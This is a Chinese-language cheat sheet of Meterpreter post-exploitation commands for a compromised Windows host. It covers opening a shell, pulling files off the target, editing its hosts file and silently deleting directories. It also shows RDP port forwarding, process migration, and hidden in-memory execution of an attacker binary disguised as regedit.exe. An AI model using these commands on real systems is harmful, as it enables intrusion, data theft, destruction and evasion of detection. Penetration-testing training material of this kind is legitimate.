Meterpreter常用命令介绍

基本命令

1.background：将meterpreter终端隐藏在后台（快捷键ctrl+z）
 
2.sessions：查看已经成功获得的会话，如果想继续与某会话交互，可以使用sessions -i 命令.
 
3.quit：直接关闭当前的meterpreter会话，返回MSF终端.
 
4.shell：获取目标系统的控制台shell.
 
5.irb：在meterpreter会话与ruby终端交互.
 

文件系统命令

1.cat：查看文件内容.
 
2.getwd：获得目标机器上当前的工作目录，getlwd，这个命令可以获得当前系统的工作目录.
 
3.upload：可以上传文件或文件夹到目标机器上;upload 要上传的文件 C:\Users\buzz\Desktop
 
4.download：从目标机器上下载文件或文件夹，注意windows路径要用双斜杠进行转义. download C:\\test.txt /root/home/test
 
5. edit：调用vi编辑器，对目标机器上的文件进行编辑;edit c:\\windows\\system32\\drivers\\etc\\hosts
 
6. search：可通过search -h查看帮助信息,参数-d指定搜索的起始目录或驱动，如果为空，将进行全盘搜索；参数-f指定搜索的文件或部分文件名，支持星号(*)匹配；参数-r递归搜索子目录.
search -d c:\\windows -f *.txt
 
7.rm：删除目标机器的文件.
 
8.rmdir /s/q c:\\test：进入shell后使用此命令可以删除目录下的所有文件和文件夹，/s表示所有子目录和文件/q表示安静模式，不显示yes or no.

网络命令

1.ipconfig：查看目标机器网络接口信息
 
2.portfwd：它是meterpreter自带的端口转发器，用于把目标机器的端口转发到本地端口；假设目标机开放了3389端口，使用如下命令将其转发到本地3456端口：portfwd add -l 3456 -p 3389 -r 192.168.88.110
 
3.rdesktop -u 用户名 -p 密码 ip:端口  连接开启远程桌面的windows系统.
 
4.route：显示目标机器的路由信息.

系统命令

1.ps：用于获得目标主机上正在运行的进程信息.
 
2.migrate pid：将Meterpreter会话从一个进程迁移到另一个进程的内存空间中，可以配合ps -ef |grep explorer.exe
 
3.execute：在目标机器上执行文件.    execute -H -i -f cmd.exe 直接与cmd进行交互.  参数-H 表示隐藏执行 -i 表示直接与cmd交互.
另外execute命令的-m参数支持直接从内存中执行攻击者的可执行文件.    execute -H -m -d regedit.exe -f hidden_shell.exe
具体参数介绍：
Executes a command on the remote machine.
OPTIONS:
    -H        Create the process hidden from view.
    -a   The arguments to pass to the command.
    -c        Channelized I/O (required for interaction).
    -d   The 'dummy' executable to launch when using -m.
    -f   The executable command to run.
    -h        Help menu.
    -i        Interact with the process after creating it.
    -k        Execute process on the meterpreters current desktop
    -m        Execute from memory.
    -s   Execute process in a given session as the session user
    -t        Execute process with currently impersonated thread token
 
4.getpid：获得当前会话所在进程的PID值.
 
5.kill：用于终结指定的PID进程.
 
6.getuid：用于获得运行meterpreter会话的用户名，从而查看当前会话具有的权限.
 
7.sysinfo：用于得到目标系统的一些信息，例如机器名，操作系统等.
 
8.shutdown：用于关闭机器，meterpreter会话会断开.